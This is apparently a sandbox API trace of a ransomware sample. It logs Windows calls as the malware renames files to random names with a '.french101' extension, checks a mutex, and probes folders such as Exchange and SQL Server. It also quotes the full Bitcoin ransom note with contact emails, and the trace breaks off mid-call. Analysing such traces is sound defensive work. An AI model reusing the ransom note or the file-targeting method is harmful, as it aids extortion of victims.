[0278.303] WriteFile (in: hFile=0x308, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0278.303] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.303] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.304] CloseHandle (hObject=0x308) returned 1 [0278.312] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\OUSgPOXI0xoEtkUetY9z4lwmzro92BeS05kffORCyrVQ5Q.french101" (normalized: "c:\\588bce7c90097ed212\\1033\\ousgpoxi0xoetkuety9z4lwmzro92bes05kfforcyrvq5q.french101")) returned 1 [0278.312] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\OUSgPOXI0xoEtkUetY9z4lwmzro92BeS05kffORCyrVQ5Q.french101" (normalized: "c:\\588bce7c90097ed212\\1033\\ousgpoxi0xoetkuety9z4lwmzro92bes05kfforcyrvq5q.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.313] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0278.313] CloseHandle (hObject=0x308) returned 1 [0278.313] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\OUSgPOXI0xoEtkUetY9z4lwmzro92BeS05kffORCyrVQ5Q.french101", dwFileAttributes=0x80) returned 1 [0278.313] CloseHandle (hObject=0x308) returned 0 [0278.313] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.313] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.313] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.314] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.314] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.314] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.314] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.314] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.314] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.314] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0278.314] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da2d0 [0278.314] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0278.314] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0278.314] FindClose (in: hFindFile=0x6da2d0 | out: hFindFile=0x6da2d0) returned 1 [0278.314] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1033\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.315] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0278.315] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0278.315] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0278.315] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0278.315] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0278.315] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0278.315] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0278.315] CloseHandle (hObject=0x308) returned 1 [0278.315] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.315] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.315] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.315] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.315] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.315] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.316] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.316] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0278.316] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.316] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.316] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0278.316] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.316] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.316] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0278.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0278.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0278.317] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0278.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0278.317] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0278.317] GetLastError () returned 0x12 [0278.317] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0278.317] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.317] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.317] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.317] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.318] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0278.318] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.318] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.318] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0278.318] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.318] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da290 [0278.318] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0278.318] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.318] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.318] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.318] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.318] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.318] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0278.318] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.318] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.318] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0278.318] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.319] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.319] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.319] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.319] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.319] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.319] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.319] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.319] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.319] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.319] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.319] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.319] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.319] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.319] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.319] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.319] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.319] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.320] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.320] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.320] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.320] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.320] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0278.320] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.320] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.320] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0278.320] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.320] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.320] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.320] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.320] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.320] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.320] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.320] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.320] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.321] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.321] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.321] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.321] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.321] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.321] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.321] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.321] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.321] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.321] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.321] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.321] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.321] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.321] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0278.321] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.324] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.324] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0278.324] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.324] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.324] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.324] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.324] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.324] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.324] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.325] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.325] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.325] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.325] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.325] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.325] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.325] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.325] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.325] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0278.325] GetLastError () returned 0x12 [0278.325] FindClose (in: hFindFile=0x6da290 | out: hFindFile=0x6da290) returned 1 [0278.325] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0278.325] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0278.325] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0278.325] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.325] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.326] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.326] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.326] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0278.326] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.326] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.326] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0278.326] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.326] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.326] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.326] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.326] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.326] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.326] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0278.326] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.326] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.326] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0278.327] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.327] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.327] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1035", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1035") returned 1 [0278.327] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.327] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.327] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.327] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.327] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0278.327] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.327] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.327] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0278.327] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.327] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.327] GetLastError () returned 0x3 [0278.328] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cd90, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0278.328] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.328] GetLastError () returned 0x2 [0278.328] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cd90, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0278.328] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.328] GetLastError () returned 0x2 [0278.328] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39b40, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0278.329] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.329] GetLastError () returned 0x2 [0278.329] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39b40, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0278.329] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.329] GetLastError () returned 0x2 [0278.329] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0270, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0278.329] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.330] GetLastError () returned 0x2 [0278.330] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0278.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39b40, cbMultiByte=6, 